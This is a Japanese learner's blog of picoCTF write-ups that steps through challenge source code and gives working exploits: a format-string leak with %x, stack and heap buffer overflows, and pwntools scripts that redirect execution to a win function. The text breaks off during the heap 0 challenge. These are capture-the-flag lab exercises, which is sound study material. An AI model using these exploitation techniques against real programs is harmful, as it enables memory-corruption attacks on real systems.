はじめに
picoCTFに取り組んで行くときの考えていたことを書き記す。writeupというより、解いた道筋を書いていますので、最短距離を知りたい人にとっては意味わからないものかもしれません。ご了承ください。begginerのお戯れと思って暖かく見守っていただければ幸いです。バッファオーバーフローをやってみたいので取り組む。それでもまずは10000solves以上のものに取り組んで行こうと思う。(全体的にsolves数が低いのでビビってますw)その次に1000solves以上を解いていきたいと思います。
開閉
Stonks
I decided to try something noone else has before. I made a bot to automatically trade stonks for me using AI and machine learning. I wouldn't believe you if you told me it's unsecure!
という言葉とともにcのコードとnc mercury.picoctf.net 27912
のコマンドが与えられている。
コマンドを実行すると、接続先でcのコードが実行される仕組みだと考えられる。
※StonksとはStocks(株)のわざとした誤字のようです。つまり、自動的に株取引をするコードってことかな。
回答に関係ないコードについて素人がたらたら書いてます。なので省略!
見たい人はクリック
さて、せっかくのCTFなので、機能を分解して答えに近づこうと思います。
- Portfolio:portfolio型には、int型のmoneyとstonk方のheadとういうポインタが定義されている。
- stonk:int型のsharesとchar型のsymbol配列、次のstonksのポインタがある。stonkがつながっている構造なのだろうか?
さて、portfolioを初期化する関数がある。portfolioのポインタから、mallocで領域を確保し、2018未満のランダムなmoneyを定義、headはnullのようだ。ここまでで、正しくportfolioが作られていないとif文ではじかれるようだ。
そして、respというものを初期化して、printfを実行したのちに、respをこっちで決める。それにより、buy_stonksかveiw_portfolioを実行。portfolioで確保していた領域を解放して終了となる。
view_portfolioではまず与えられたpが存在しないなら異常終了。
その後に、stdoutに記述されているものをfflushする動作が行われているのかな?
改行されたのちに、stonk型のheadポインタに与えられたpのheadポインタを代入している。
このheadがないとyou don't own any stonksが返ってくる。
headが孫あいするとheadのshareとsymbolが出力され、stonk内のnextがheadに格納されて、nextがなくなるまで出力される。
buy_stonksはapi_bufというものにflag領域を確保しているように思う。
ファイルapiを読み込みモードで開いている。fがなかったら異常終了。
fgets関数はファイルから文字列を一行取得してくれる関数
https://bituse.info/c_func/28
つまり、api_bufにFLAG_BUF分の文字をfから持ってくるということかな。
moneyはpのmoneyであり、sharesは0に設定される。
while内を見ていく。
sharesはmoney未満のランダムな数値。
tempはpick_symbol_with_AIという関数を実行している。
tempのnextはpのヘッダが格納され、pのheadにこのtempを格納、moneyはshares分引く。
ここが、moneyがマイナスになるまでstonksを購入するということだろうか。
それから、なぜかAPIトークンを入力するよう問われ、トークンを用いて安全にstonksを購入したといわれる。
そのあと、ポートフォリを表示される。
pick_symbol_with_AIについて、一つのstonkを作って、引数のsharesをそのstonkに格納。
そのあと、symbolをつくっているようだ。次のstonkはなしでstonkを返す。
結局flagに関係しているbuy_stonksのfgetsされたapi_bufを手に入れることだと思おう。
鍵になるのはuser_bufのscanfでの入力とprintの出力だと思う。バッファオーバーフローでも、入力で脆弱性を攻撃していくので。
これ以上はお手上げ。WriteUpを参考にする。picoCTF Practice Writeup 1 #CTF - Qiita
Format String Exploitという攻撃が使用できそうだそうです。初耳学。
ちなみに%pはアドレスを16進数で出力する変換指定子のようです。まだ理解できていない模様。
user_bufもapi_bufもchar型なので、スタックへの格納されている型もchar型で入っているのだろうか?ならchar型の変換指定子で入力するとよいのか?
%cではダメみたい。
よくわからんのでもう少しお勉強かな。
%xは変数の値を16進数で出力してくれるっぽい。
#include <stdio.h>
int main(void){
char b[1] = "a";
int a = 11;
printf("%x", b[0]);
printf("%x", a);
return 0;
}
└─# ./a.out
61b
これでflagが格納されている中身を見ることができる。
また、
https://www.delftstack.com/ja/howto/c/p-in-c/
#include<stdio.h>
void main()
{
int i=100;
printf("%d\n",i);
int *pointer = &i;
printf("%p\n",i);
printf("%p\n",pointer);
}
└─# ./a.out
100
0x64
0x7ffc65b3b084
以上の実行からポインタ先を%pで選ぶとその中身の値を16進数で出力するようだ。
ポインタを%pするとそのアドレスを出力する。
つまり、スタックに積んである数値をどのように出力するかを変換指定子で決めているのかな?
以上のことから、%x,%pが良さそう。自分は%xで実行してみた。
%x,を50くらい入力して実行。そうすると16進数が返ってくる。
└─# nc mercury.picoctf.net 27912
Welcome back to the trading app!
What would you like to do?
1) Buy some stonks!
2) View my portfolio
1
Using patented AI algorithms to buy stonks
Stonks chosen
What is your API token?
%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x
Buying stonks with token:
95ab3d0,804b000,80489c3,f7f40d80,ffffffff,1,95a9160,f7f4e110,f7f40dc7,0,95aa180,2,95ab3b0,95ab3d0,6f636970,7b465443,306c5f49,345f7435,6d5f6c6c,306d5f79,5f79336e,32666331,30613130,ffbd007d,f7f7baf8,f7f4e440,29053200,1,0,f7dddce9,f7f4f0c0,f7f405c0,f7f40000,ffbdb928,f7dce68d,f7f405c0,8048eca,ffbdb934,0,f7f62f09,804b000,f7f40000,f7f40e20,ffbdb968,f7f68d50,f7f41890,29053200,f7f40000
この実行結果をASCIIに変換する。
└─# echo 95ab3d0,804b000,80489c3,f7f40d80,ffffffff,1,95a9160,f7f4e110,f7f40dc7,0,95aa180,2,95ab3b0,95ab3d0,6f636970,7b465443,306c5f49,345f7435,6d5f6c6c,306d5f79,5f79336e,32666331,30613130,ffbd007d,f7f7baf8,f7f4e440,29053200,1,0,f7dddce9,f7f4f0c0,f7f405c0,f7f40000,ffbdb928,f7dce68d,f7f405c0,8048eca,ffbdb934,0,f7f62f09,804b000,f7f40000,f7f40e20,ffbdb968,f7f68d50,f7f41890,29053200,f7f40000 | tr "," "\n" | xxd -r -p
����H�?@�������N@�p����; Z��ocip{FTC0l_I4_t5m_ll0m_y_y3n2fc10a10��}�������@)2����������������(��������H���ۓ@��/ �K@@��ۖ�h�A��S @
flagっぽいのが見えてきた。picoがocipになっているのはスタックがリトルエンディアンを用いているからだそうです。
リトルエディアンをビックエディアンに変換する。ツールCyberChefで16進数にしてからエディアン変換して16進数からASCIIにする。終了。
考察
format string exploitを初めて知った。脆弱性などは知らないと厳しい。知っていくしかな。また、CTFではコードすべてを理解する必要はない。また、自分の環境での実行結果とncした先での実行結果は異なる。自分の環境では実行するより、中身を確認するのに徹するのがよさそう。
[2023/09/11]
[2024/01/29]
basic-file-exploit
The program provided allows you to write to a file and read what you wrote from it. Try playing around with it and see if you can break it!
Connect to the program with netcat:
$ nc saturn.picoctf.net 65353
The program's source code with the flag redacted can be downloaded here.
ということで、cファイルを渡された。やっぱりコードを解釈しないと難しいので前回と同様にざっとコードを見ていく。
回答に関係ないコードについて素人がたらたら書いてます。なので省略!
見たい人はクリック
#include <stdio.h>
#include <stdlib.h>
#include <stdbool.h>
#include <string.h>
#include <stdint.h>
#include <ctype.h>
#include <unistd.h>
#include <sys/time.h>
#include <sys/types.h>
#define WAIT 60
static const char* flag = "[REDACTED]";
static char data[10][100];
static int input_lengths[10];
static int inputs = 0;
int main(int argc, char** argv) {
char input[3] = {'\0'};
long command;
int r;
puts("Hi, welcome to my echo chamber!");
puts("Type '1' to enter a phrase into our database");
puts("Type '2' to echo a phrase in our database");
puts("Type '3' to exit the program");
while (true) {
r = tgetinput(input, 3);
if(r == -3)
{
printf("Goodbye!\n");
exit(0);
}
if ((command = strtol(input, NULL, 10)) == 0) {
puts("Please put in a valid number");
} else if (command == 1) {
data_write();
puts("Write successful, would you like to do anything else?");
} else if (command == 2) {
if (inputs == 0) {
puts("No data yet");
continue;
}
data_read();
puts("Read successful, would you like to do anything else?");
} else if (command == 3) {
return 0;
} else {
puts("Please type either 1, 2 or 3");
puts("Maybe breaking boundaries elsewhere will be helpful");
}
}
return 0;
}
まずは定義されているものとmain関数を見ていく。
定義されているものの予測は
- flag
- 書き込むデータを格納するdata
- 書き込む文字の最大値input_lengths
- 書き込まれたものの数inputs
後々わかったら編集します。
さて、メイン内では、
ユーザーからの入力を受けるinputと実行するものを確定させるcommand、なぞのrが定義されている。
仕様としては、1で書き込み、2で読み出し、3で終了のようだ。
rはtgetinput
という自作の関数の出力で定義されている。この関数は後々見ていきます。ちなみにr==-3なら終了。
ここからcommandを計算して、それぞれの数字に対応するものを実行していく。
まずcommandはstrtol関数で定義されいている。軽く調べるとinputで入ってきた文字型の数字をlong型の数字にするようだ。
そして、commandが1ならdata_write()、2ならdata_read()、3なら正常終了、そのほかなら正常にするよな文字列を返す処理を行う。ここまでではflagはグローバル変数に定義されたくらいしかわからない。まあ、入力するとこも少ないのでオバーフローもできなさそう。
int tgetinput(char *input, unsigned int l)
{
fd_set input_set;
struct timeval timeout;
int ready_for_reading = 0;
int read_bytes = 0;
if( l <= 0 )
{
printf("'l' for tgetinput must be greater than 0\n");
return -2;
}
FD_ZERO(&input_set );
FD_SET(STDIN_FILENO, &input_set);
timeout.tv_sec = WAIT;
timeout.tv_usec = 0;
ready_for_reading = select(1, &input_set, NULL, NULL, &timeout);
if (ready_for_reading == -1) {
printf("Unable to read your input\n");
return -1;
}
if (ready_for_reading) {
read_bytes = read(0, input, l-1);
if(input[read_bytes-1]=='\n'){
--read_bytes;
input[read_bytes]='\0';
}
if(read_bytes==0){
printf("No data given.\n");
return -4;
} else {
return 0;
}
} else {
printf("Timed out waiting for user input. Press Ctrl-C to disconnect\n");
return -3;
}
return 0;
}
次にrに代入された関数(tgetinput)を見ていく。inputが正当なものかを調べるものかな?エラーだとそれに合わせた負の値を返す感じ。mainをざっと見ただけではwhileのすぐ次にしか出ていないが、data_writeやdata_readの中で利用されている。
第2引数の数値が0以下だとエラーになる。
fdの集合がfd_set型で定義される(select関数を用いた標準入力の監視【Linux / C言語】).FD_ZEROがその集合を初期化する。FD_SETがFDの集合にあるFDをセットする。STDIN_FILENOは標準入力(0)を表している。select関数はFDを監視する。selectの戻り値は正の値は変化のあったFDの数、0はタイムアウト、-1はエラー発生である。(【C言語】select関数の使い方、間違っていませんか?)。よって、ready_for_readingは読み込み可能なfdを数えているということかな?-1はエラー。
知識(if文)
if文の条件式について
ゼロの時に偽、ゼロ以外なら真である。真のときに条件成立。
read()関数はファイルデスクリプタから読み込むようだ。第一引数がfdを選択、2がデータを保存する領域、3が読み込むバイト数。\0はヌル文字というらしい。ここで文字列の入力を要求、inputに格納するようだ。
つまり、tgetinput関数は入力文字を受け取り、inputに格納とまた、文字列の長さlを受け取り、
* -2:引数ミス(第二引数)
* -1:エラーが起こった。
* -3:タイムアウト
* -4:読み込むデータなし。
を返す関数。なので、入力を受けて動作する今回はtgetinputでinput(何をするかのcommand、何を書き込むかのinput)を受け取っているということ、
static void data_write() {
char input[100];
char len[4];
long length;
int r;
printf("Please enter your data:\n");
r = tgetinput(input, 100);
if(r == -3)
{
printf("Goodbye!\n");
exit(0);
}
while (true) {
printf("Please enter the length of your data:\n");
r = tgetinput(len, 4);
if(r == -3)
{
printf("Goodbye!\n");
exit(0);
}
if ((length = strtol(len, NULL, 10)) == 0) {
puts("Please put in a valid length");
} else {
break;
}
}
if (inputs > 10) {
inputs = 0;
}
strcpy(data[inputs], input);
input_lengths[inputs] = length;
printf("Your entry number is: %d\n", inputs + 1);
inputs++;
}
書き込みなので、tgetinputで入力を受け取り、長さの入力も要求。10個しか記憶できないのでそれ以上なら0に書き込む。inputsを1つ大きくして終了。
static void data_read() {
char entry[4];
long entry_number;
char output[100];
int r;
memset(output, '\0', 100);
printf("Please enter the entry number of your data:\n");
r = tgetinput(entry, 4);
if(r == -3)
{
printf("Goodbye!\n");
exit(0);
}
if ((entry_number = strtol(entry, NULL, 10)) == 0) {
puts(flag);
fseek(stdin, 0, SEEK_END);
exit(0);
}
entry_number--;
strncpy(output, data[entry_number], input_lengths[entry_number]);
puts(output);
}
memset関数ではメモリに指定バイト数の値をセットする。(C言語 memset 使い方)。つまり、はじめのmemset(output, '\0', 100);でoutputにヌル文字100個をセット(確保)したことになる。そして、出力したいentryナンバーを入力するとそれをもとにdataからデータが持ってこられて、出力される。
data_read()の中でflagを出力させる関数あり。でもエントリーが0ならflag出すって言ってない?なら最初からデータを読み込む(最初に2を選択)を行い、そして、0においてあるものを表示してもらえばよいのではないか?
└─# nc saturn.picoctf.net 65353
Hi, welcome to my echo chamber!
Type '1' to enter a phrase into our database
Type '2' to echo a phrase in our database
Type '3' to exit the program
2
2
No data yet
さすがになにも入れてない時の処理はありますね。1つ何でもよいので入れてから2を選択して0番目のものを見せてもらう。
1
1
Please enter your data:
kakaka
kakaka
Please enter the length of your data:
6
6
Your entry number is: 1
Write successful, would you like to do anything else?
2
2
Please enter the entry number of your data:
0
0
picoCTF{
終了。
考察
振り返ると簡単だった。バッファオーバーフローを行うようなものだと思っていたので、コードを解釈すれば終わるので良かった。しかし、時間がかかりすぎる。競技だったらもう少し工夫が必要そうだ。
buffer overflow 0
Smash the stack
Let's start off simple, can you overflow the correct buffer? The program is available here. You can view source here. And connect with it using:
nc saturn.picoctf.net 55984
まずは序の口ということかな?バッファオーバーフローやってみようじゃないか。
見たい人はクリック
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <signal.h>
#define FLAGSIZE_MAX 64
char flag[FLAGSIZE_MAX];
void sigsegv_handler(int sig) {
printf("%s\n", flag);
fflush(stdout);
exit(1);
}
flagが定義されて、sigsegv_handler関数でflagを出力するようだ。
void vuln(char *input){
char buf2[16];
strcpy(buf2, input);
}
inputに入れられた文字をbuf2にコピーしている。
int main(int argc, char **argv){
FILE *f = fopen("flag.txt","r");
if (f == NULL) {
printf("%s %s", "Please create 'flag.txt' in this directory with your",
"own debugging flag.\n");
exit(0);
}
fgets(flag,FLAGSIZE_MAX,f);
signal(SIGSEGV, sigsegv_handler);
gid_t gid = getegid();
setresgid(gid, gid, gid);
printf("Input: ");
fflush(stdout);
char buf1[100];
gets(buf1);
vuln(buf1);
printf("The program will exit now\n");
return 0;
}
fにflagがあるようだ。
一応実行してみた。
└─# nc saturn.picoctf.net 55984
Input: kkkk
The program will exit now
シンプルに入力させるプログラムである。
戻り値をsigsegv_handlerにすればいいのではないだろうか
flagに関係するのはsigsegv_handlerとfgetsである。
知識(fgets)
fgets
(C言語 fgets 使い方)を参考にした。つまり、第三引数から最大第二引数の数だけ第一引数に代入する関数と思われる。第三引数を標準入力から持ってくることもできるようだ。
つまり、fgetsではただflagをファイルから持ってきているだけ。
次にsigsegv_handlerについてmainではsignal関数で使われている。
今回のsignalではSIGSEGVシグナルを受け取るとsigsegv_handlr関数が実行されるようだ。
つまり、メモリー使用外を参照するとsigsegv_handlerが実行されるということかな。
次にgidについて少々。
gidを設定しているようだが、あまりわからん。
一連の流れから、buf1を宣言、getsでbuf1の入力を求める。vulnでbuf2にbuf1をコピーして終了というプログラム。予想では触れてはいけないメモリ領域に触れてみたらいいと思う。
つまり、今回のプログラム作成者の想定以上のバッファーを使えばSIGSEGVを引き起こし、シグナルを起こし、sigsegv_handlerを実行させると予想する。
そこで思ったのが、buf1をbuf2にコピーする関数vuln。buf2は16バイトしか入らないがbuf1は100バイト入ってしまう。ここで、バッファオーバーフローが起こる。よって16より多くの文字を入力すればよい。
└─# nc saturn.picoctf.net 55984
Input: kkkkkkkkkkkkkkkkkkkk
picoCTF{
終了。
buffer overflow 1
Control the return address
Now we're cooking! You can overflow the buffer and return to the flag function in the program.
You can view source here. And connect with it using nc saturn.picoctf.net 52141
見たい人はクリック
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include "asm.h"
#define BUFSIZE 32
#define FLAGSIZE 64
void win() {
char buf[FLAGSIZE];
FILE *f = fopen("flag.txt","r");
if (f == NULL) {
printf("%s %s", "Please create 'flag.txt' in this directory with your",
"own debugging flag.\n");
exit(0);
}
fgets(buf,FLAGSIZE,f);
printf(buf);
}
bufにflagが読み込まれ、printfで出力されているようだ。
void vuln(){
char buf[BUFSIZE];
gets(buf);
printf("Okay, time to return... Fingers Crossed... Jumping to 0x%x\n", get_return_address());
}
bufsize=32がセットされて、それを入力すると、printfでどこかに戻れと言われるようだ。
int main(int argc, char **argv){
setvbuf(stdout, NULL, _IONBF, 0);
gid_t gid = getegid();
setresgid(gid, gid, gid);
puts("Please enter your string: ");
vuln();
return 0;
}
まずは実行してみる。
└─# nc saturn.picoctf.net 52141
Please enter your string:
aaaaaaaaaa
Okay, time to return... Fingers Crossed... Jumping to 0x804932f
戻る場所を指定された。戻り値を変えないといけないようだ。しかし、わからん。よくある問題はアドレスの場所やスタックを表示してくれることが多く。どれだけ埋めればいいかわからん。いっちょ思いっきり入れてみました。
└─# nc saturn.picoctf.net 49162
Please enter your string:
aaaaaaaaaabbbbbbbbbbccccccccccaaaaaaaaaabbbbbbbbbbccccccccccaaaaaaaaaabbbbbbbbbbcccccccccc
Okay, time to return... Fingers Crossed... Jumping to 0x62626262
お。変わりましたね、0x62はbなので41-50くらいがリターンアドレスが入っていると考えられる。
└─# nc saturn.picoctf.net 49162
Please enter your string:
aaaaaaaaaabbbbbbbbbbccccccccccddddddddddeeeeeeeeee
Okay, time to return... Fingers Crossed... Jumping to 0x65656565
└─# nc saturn.picoctf.net 49162
Please enter your string:
aaaaaaaaaabbbbbbbbbbccccccccccddddddddddeeeee
Okay, time to return... Fingers Crossed... Jumping to 0x8040065
└─# nc saturn.picoctf.net 49162
Please enter your string:
aaaaaaaaaabbbbbbbbbbccccccccccddddddddddeeee
Okay, time to return... Fingers Crossed... Jumping to 0x8049300
└─# nc saturn.picoctf.net 49162
Please enter your string:
aaaaaaaaaabbbbbbbbbbccccccccccddddddddddeee
Okay, time to return... Fingers Crossed... Jumping to 0x804932f
ここで└─# objdump -d -M intel vuln
を実行してメモリ情報を見る。
080491f6 <win>:
08049281 <vuln>:
080492c4 <main>:
804931b: 8d 83 a0 e0 ff ff lea eax,[ebx-0x1f60]
8049321: 50 push eax
8049322: e8 59 fd ff ff call 8049080 <puts@plt>
8049327: 83 c4 10 add esp,0x10
804932a: e8 52 ff ff ff call 8049281 <vuln>
804932f: b8 00 00 00 00 mov eax,0x0
8049334: 8d 65 f8 lea esp,[ebp-0x8]
8049337: 59 pop ecx
つまり、vulnが終わって戻る位置が0x804932fと言っている。ここをwinの始まりに返ればできるということではなかろうか。
aaaaaaaaaabbbbbbbbbbccccccccccddddddddddeeeの後ろに080491f6になるように入力すればいいのではないだろうか。
└─# nc saturn.picoctf.net 61242
Please enter your string:
aaaaaaaaaabbbbbbbbbbccccccccccddddddddddeee080491f6
Okay, time to return... Fingers Crossed... Jumping to 0x39343038
そうそううまくはいきませんね。0x39343038は9408とASCII文字で読み込まれているようだ。また、0がなくなっているので桁数も確認。そして何より、リトルエンディアンで読み込まれているようでもある。これ以降がどうしてもわからなかった。powershellでの入力はどうしてもASCIIコードで読み込まれてしまう。
writeUp(【入門】はじめてのバッファオーバーフロー)を参考にしました。gdbを使えばもっとスマートにアドレス領域が分かったようだ。pythonを用いて入力は送るのがよさそう。(Pwntoolsの機能と使い方まとめ【日本語】#CTF #Pwn)pythonを用いたpwnのやり方はこれを見て学ぶ。
from pwn import *
io = remote("saturn.picoctf.net",59751)
st = pack(0x080491f5, word_size='all', endian='little')
s =b"aaaaaaaaaabbbbbbbbbbccccccccccddddddddddeeee" + st
io.sendline(s)
io.interactive()
として実行したら成功。
考察
gdbを用いたdisassembleをもう少し理解したいかも。手を動かすが良い。pythonを用いることで実行できるpwnできることを知れてよかった。これから使っていこうと思う。
また、バッファオーバーフローの手順として、
- bufoverflowできる関数があるかの確認。buf[],gets関数。
- バッファーと戻りアドレス値を知る。
- その差を任意の文字で埋める。
- そのあと実行したい戻り値を入力
簡単に以上の手順であると考えた。
heap 1
Can you control your overflow?
Download the binary here.
Download the source here.
Connect with the challenge instance here:
nc tethys.picoctf.net 62635
ということで、オーバーフロー。先と似ている。ただflagの表示条件が異なるようだ。
void check_win() {
if (!strcmp(safe_var, "pico")) {
printf("\nYOU WIN\n");
char buf[FLAGSIZE_MAX];
FILE *fd = fopen("flag.txt", "r");
fgets(buf, FLAGSIZE_MAX, fd);
printf("%s\n", buf);
fflush(stdout);
exit(0);
} else {
printf("Looks like everything is still secure!\n");
printf("\nNo flage for you :(\n");
fflush(stdout);
}
}
ということで、safe_varがpicoになればよさそう。先と同様、32bytesの距離があるので、"32bytes+pico"とすればsafe_varはpicoになる。入力して終了。
heap 2
Can you handle function pointers?
Download the binary here.
Download the source here.
Connect with the challenge instance here:
nc mimas.picoctf.net 61265
ということで、同じような問題。
void win() {
char buf[FLAGSIZE_MAX];
FILE *fd = fopen("flag.txt", "r");
fgets(buf, FLAGSIZE_MAX, fd);
printf("%s\n", buf);
fflush(stdout);
exit(0);
}
勝ちの条件が先と異なる。ここの関数に飛ばすことが目標のようだ。バッファオーバーフローらしい問題。check_win()ではvoid check_win() { ((void (*)())*(int*)x)(); }
という関数が定義されている。AIに聞いてみるとこれはxの値を関数ポインタとして解釈して、その関数を実行するようだ。つまり、xの値をwin関数の始まりに設定すればよい。いろいろ打っていてどうにもできない。
Legend: code, data, rodata, value
check_win () at chall.c:22
22 void check_win() { ((void (*)())*(int*)x)(); }
gdb-peda$ p x
$15 = 0x1e896d0 "411111"
gdb-peda$ p *x
$16 = 0x34
gdb-peda$ p (int*)x
$17 = (int *) 0x1e896d0
gdb-peda$ p *(int*)x
$18 = 0x31313134
gdbして値を見ていた。xの中身が4111
としたときにそれをアドレスとすると0x31313134
とリトルエディアン+asciiコードで解釈されている。そりゃうまくいかないわけだ。pwntoolsを用いて行う。xがchar型のポインタであるのがめんどくさくしている。
Dump of assembler code for function win:
0x00000000004011a0 <+0>: push rbx
0x00000000004011a1 <+1>: sub rsp,0x40
から、win関数は0x00000000004011a0から始まると予想。
from pwn import *
io = remote('mimas.picoctf.net', 62985)
st = b'111111111122222222223333333333440x4011a0'
print(io.recvuntil(b"Enter your choice:"))
io.sendline(b'2')
io.sendline(st)
print(io.recvuntil(b"Enter your choice:"))
io.sendline(b'3')
print(io.recvuntil(b"Enter your choice:"))
io.interactive()
というコードを作ったが違うようだ。リトルエディアンを気にしたがそれも違うようだ。何が違うのかはわからない。
自身のブログのbinary exliptionを参考に以下のコードを作ったらできた。
from pwn import *
io = remote('mimas.picoctf.net', 64936)
st2 = pack(0x004011a0, word_size='all', endian='little')
st = b'11111111112222222222333333333344' + st2
print(io.recvuntil(b"Enter your choice:"))
io.sendline(b'2')
io.sendline(st)
print(io.recvuntil(b"Enter your choice:"))
io.sendline(b'3')
print(io.recvuntil(b"Enter your choice:"))
io.interactive()
リトルエディアンやメモリについて少しわかった気がした。
Can you use your knowledge of format strings to make the customers happy?
Download the binary here.
Download the source here.
Connect with the challenge instance here:
nc mimas.picoctf.net 54770
ということで、c言語のソースコードとファイルが渡された。
└─# file format-string-0
format-string-0: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=73480d84a806aebddd86602609fcab2052c8fa13, for GNU/Linux 3.2.0, not stripped
実行ファイルのようだ。gdbにでも活用できそう。
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <signal.h>
#include <unistd.h>
#include <sys/types.h>
#define BUFSIZE 32
#define FLAGSIZE 64
char flag[FLAGSIZE];
void sigsegv_handler(int sig) {
printf("\n%s\n", flag);
fflush(stdout);
exit(1);
}
ここの関数を呼び出してflagを表示させるようだ。
int on_menu(char *burger, char *menu[], int count) {
for (int i = 0; i < count; i++) {
if (strcmp(burger, menu[i]) == 0)
return 1;
}
return 0;
}
ここで入力されたものがそのメニュー内にあるかを判定するようだ。(【C言語入門】文字列を比較する方法(strcmp、strncmp))
void serve_patrick();
void serve_bob();
int main(int argc, char **argv){
FILE *f = fopen("flag.txt", "r");
if (f == NULL) {
printf("%s %s", "Please create 'flag.txt' in this directory with your",
"own debugging flag.\n");
exit(0);
}
fgets(flag, FLAGSIZE, f);
signal(SIGSEGV, sigsegv_handler);
gid_t gid = getegid();
setresgid(gid, gid, gid);
serve_patrick();
return 0;
}
signal関数が気になる。他のブログで書いていると思う。第一引数に定義されたエラーが発生すると第二引数の関数を実行するというもの。SIGSEGVを発生させるとflagが回収できそう。入ってはいけないメモリ領域に入ると起こるようだ。バッファオーバーフローを起こせばいいのかな?
void serve_patrick() {
printf("%s %s\n%s\n%s %s\n%s",
"Welcome to our newly-opened burger place Pico 'n Patty!",
"Can you help the picky customers find their favorite burger?",
"Here comes the first customer Patrick who wants a giant bite.",
"Please choose from the following burgers:",
"Breakf@st_Burger, Gr%114d_Cheese, Bac0n_D3luxe",
"Enter your recommendation: ");
fflush(stdout);
char choice1[BUFSIZE];
scanf("%s", choice1);
char *menu1[3] = {"Breakf@st_Burger", "Gr%114d_Cheese", "Bac0n_D3luxe"};
if (!on_menu(choice1, menu1, 3)) {
printf("%s", "There is no such burger yet!\n");
fflush(stdout);
} else {
int count = printf(choice1);
if (count > 2 * BUFSIZE) {
serve_bob();
} else {
printf("%s\n%s\n",
"Patrick is still hungry!",
"Try to serve him something of larger size!");
fflush(stdout);
}
}
}
int count = printf(choice1)
で定義されるcountがcount > 2 * BUFSIZE
を満たさないといけないようだ。BUFSIZEは32と定義しているので64以上でなければならない。"Gr%114d_Cheese"を選ばないとこれは超えない。
#include <stdio.h>
int main(){
int count = printf("Gr%114d_Cheese");
printf("%d", count);
return 0;
}
というコードを実行するとGr 559036360_Cheese123
となった。つまり、123文字として扱われた。表示桁数も文字列の数として定義されるようだ。
void serve_bob() {
printf("\n%s %s\n%s %s\n%s %s\n%s",
"Good job! Patrick is happy!",
"Now can you serve the second customer?",
"Sponge Bob wants something outrageous that would break the shop",
"(better be served quick before the shop owner kicks you out!)",
"Please choose from the following burgers:",
"Pe%to_Portobello, $outhwest_Burger, Cla%sic_Che%s%steak",
"Enter your recommendation: ");
fflush(stdout);
char choice2[BUFSIZE];
scanf("%s", choice2);
char *menu2[3] = {"Pe%to_Portobello", "$outhwest_Burger", "Cla%sic_Che%s%steak"};
if (!on_menu(choice2, menu2, 3)) {
printf("%s", "There is no such burger yet!\n");
fflush(stdout);
} else {
printf(choice2);
fflush(stdout);
}
}
ハンバーガーの名前に%sのような文字列がある。これによって見れてはいけないところを見れるという仕組みのようだ。なので、選択に%sがあるのを選べばflagゲット。これは%sによって表示されたのか、signal(SIGSEGV, sigsegv_handler);
が実行されたのだろうか?あまりわからない。可能性が高いのは後者かな。
heap 0
Are overflows just a stack concern?
Download the binary here.
Download the source here.
Connect with the challenge instance here:
nc tethys.picoctf.net 63061
オーバーフロー以外の攻撃手法を使う問題のような気がする。
└─# nc tethys.picoctf.net 63061
Welcome to heap0!
I put my data on the heap so it should be safe from any tampering.
Since my data isn't on the stack I'll even let you write whatever info you want to the heap, I already took care of using malloc for you.
Heap State:
+-------------+----------------+
[*] Address -> Heap Data
+-------------+----------------+
[*] 0x559b554c12b0 -> pico
+-------------+----------------+
[*] 0x559b554c12d0 -> bico
+-------------+----------------+
1. Print Heap: (print the current state of the heap)
2. Write to buffer: (write to your own personal block of data on the heap)
3. Print safe_var: (I'll even let you look at my variable on the heap, I'm confident it can't be modified)
4. Print Flag: (Try to print the flag, good luck)
5. Exit
実行すると以上のような出力が出る。つまり、1-5の行動を起こせるようだ。
void check_win() {
if (strcmp(safe_var, "bico") != 0) {
printf("\nYOU WIN\n");
char buf[FLAGSIZE_MAX];
FILE *fd = fopen("flag.txt", "r");
fgets(buf, FLAGSIZE_MAX, fd);
printf("%s\n", buf);
fflush(stdout);
exit(0);
} else {
printf("Looks like everything is still secure!\n");
printf("\nNo flage for you :(\n");
fflush(stdout);
}
}
渡されたコードを見るとflagが出る関数がある。safe_varをbico以外にするとflagが出てくるようだ。
Enter your choice: 1
Heap State:
+-------------+----------------+
[*] Address -> Heap Data
+-------------+----------------+
[*] 0x559b554c12b0 -> pico
+-------------+----------------+
[*] 0x559b554c12d0 -> bico
+-------------+----------------+
1. Print Heap: (print the current state of the heap)
2. Write to buffer: (write to your own personal block of data on the heap)
3. Print safe_var: (I'll even let you look at my variable on the heap, I'm confident it can't be modified)
4. Print Flag: (Try to print the flag, good luck)
5. Exit
1を選択すると中身が見れる。
Enter your choice: 4
Looks like everything is still secure!
No flage for you :(
1. Print Heap: (print the current state of the heap)
2. Write to buffer: (write to your own personal block of data on the heap)
3. Print safe_var: (I'll even let you look at my variable on the heap, I'm confident it can't be modified)
4. Print Flag: (Try to print the flag, good luck)
5. Exit
4だとflagを表示させるcheck_winを実行するようだ。
Enter your choice: 3
Take a look at my variable: safe_var = bico
1. Print Heap: (print the current state of the heap)
2. Write to buffer: (write to your own personal block of data on the heap)
3. Print safe_var: (I'll even let you look at my variable on the heap, I'm confident it can't be modified)
4. Print Flag: (Try to print the flag, good luck)
5. Exit
3だと現在のsafe_varが確認できる。
Enter your choice: 2
Data for buffer: kakaka
1. Print Heap: (print the current state of the heap)
2. Write to buffer: (write to your own personal block of data on the heap)
3. Print safe_var: (I'll even let you look at my variable on the heap, I'm confident it can't be modified)
4. Print Flag: (Try to print the flag, good luck)
5. Exit
2だとbufferに書き込みができるようだ。
Enter your choice: 1
Heap State:
+-------------+----------------+
[*] Address -> Heap Data
+-------------+----------------+
[*] 0x559b554c12b0 -> kakaka
+-------------+----------------+
[*] 0x559b554c12d0 -> bico
+-------------+----------------+
1. Print Heap: (print the current state of the heap)
2. Write to buffer: (write to your own personal block of data on the heap)
3. Print safe_var: (I'll even let you look at my variable on the heap, I'm confident it can't be modified)
4. Print Flag: (Try to print the flag, good luck)
5. Exit
書き込んだ後にheapを確認するとpicoが変わっていた。
Enter your choice: 2
Data for buffer: kakakakakakakkaka
1. Print Heap: (print the current state of the heap)
2. Write to buffer: (write to your own personal block of data on the heap)
